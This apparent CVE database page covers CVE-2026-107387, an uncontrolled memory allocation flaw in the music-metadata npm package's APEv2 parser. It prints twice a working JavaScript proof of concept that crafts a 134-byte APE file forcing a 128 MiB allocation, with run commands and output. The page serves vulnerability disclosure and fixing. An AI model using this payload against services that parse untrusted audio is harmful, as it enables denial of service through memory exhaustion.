Every CVE Search/ Get API key

CVE-2026-107387

music-metadata: Uncontrolled memory allocation in APEv2 parser

6.2 MediumFix available

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.19%Unchanged since Oct 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.2

music-metadata: Uncontrolled memory allocation in APEv2 parser

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.

Record
CVE-2026-107387
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
EUVDEUVD-2026-95167 6.2

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.

Record
EUVD-2026-95167
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-53v6-4h7p-p4gj 6.2

music-metadata: Uncontrolled memory allocation in APEv2 parser

Summary

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.

The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.

This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.

Affected component

  • lib/apev2/APEv2Token.ts
  • lib/apev2/APEv2Parser.ts

The untrusted size is read here:

size: Token.UINT32_LE.get(buf, off)

It is later used directly for allocation when parsing binary tag items:

const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);

The allocation happens before the parser confirms that the declared size fits inside the remaining file data.

Impact

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

Proof of Concept

Run from the project checkout after compiling the source:

npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs

poc-apev2-memory.mjs:

import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
  let off = 0;
  for (const p of parts) out.set(p, off), off += p.length;
  return out;
};

const big = 0x08000000; // 128 MiB

const desc = cat(
  Buffer.from('MAC '), le32(4000), le32(52), le32(24),
  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);

const hdr = cat(
  le16(0), le16(0), le32(1), le32(1), le32(1),
  le16(16), le16(1), le32(44100)
);

const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));

const tag = cat(
  Buffer.from('APETAGEX'),
  le32(2000),
  le32(32 + item.length + key.length + big),
  le32(1),
  le32(0),
  new Uint8Array(8)
);

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc();
const before = process.memoryUsage();

try {
  await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
  console.log(error.constructor.name + ': ' + error.message);
}

const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

Observed result

On music-metadata 11.15.0:

EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00

The parser throws after reaching end-of-stream, but the large allocation has already happened.

Expected result

The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.

Suggested fix

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

Record
GHSA-53v6-4h7p-p4gj
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
NVD 6.2

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.

Record
CVE-2026-107387
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
OSV 6.2

music-metadata: Uncontrolled memory allocation in APEv2 parser

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.

Record
CVE-2026-107387
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
OSVGHSA-53v6-4h7p-p4gj 6.2

music-metadata: Uncontrolled memory allocation in APEv2 parser

Summary

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.

The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.

This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.

Affected component

  • lib/apev2/APEv2Token.ts
  • lib/apev2/APEv2Parser.ts

The untrusted size is read here:

size: Token.UINT32_LE.get(buf, off)

It is later used directly for allocation when parsing binary tag items:

const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);

The allocation happens before the parser confirms that the declared size fits inside the remaining file data.

Impact

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

Proof of Concept

Run from the project checkout after compiling the source:

npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs

poc-apev2-memory.mjs:

import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
  let off = 0;
  for (const p of parts) out.set(p, off), off += p.length;
  return out;
};

const big = 0x08000000; // 128 MiB

const desc = cat(
  Buffer.from('MAC '), le32(4000), le32(52), le32(24),
  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);

const hdr = cat(
  le16(0), le16(0), le32(1), le32(1), le32(1),
  le16(16), le16(1), le32(44100)
);

const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));

const tag = cat(
  Buffer.from('APETAGEX'),
  le32(2000),
  le32(32 + item.length + key.length + big),
  le32(1),
  le32(0),
  new Uint8Array(8)
);

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc();
const before = process.memoryUsage();

try {
  await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
  console.log(error.constructor.name + ': ' + error.message);
}

const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

Observed result

On music-metadata 11.15.0:

EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00

The parser throws after reaching end-of-stream, but the large allocation has already happened.

Expected result

The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.

Suggested fix

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

Record
GHSA-53v6-4h7p-p4gj
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
music-metadata
npm
through 11.12.3
11.16.0
music-metadata
npm
before 11.16.0
11.16.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-107387 is a medium vulnerability (CVSS 6.2) in Borewit Music-metadata, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 9th percentile. Fixed in music-metadata 11.16.0.

References

MoveEnter Open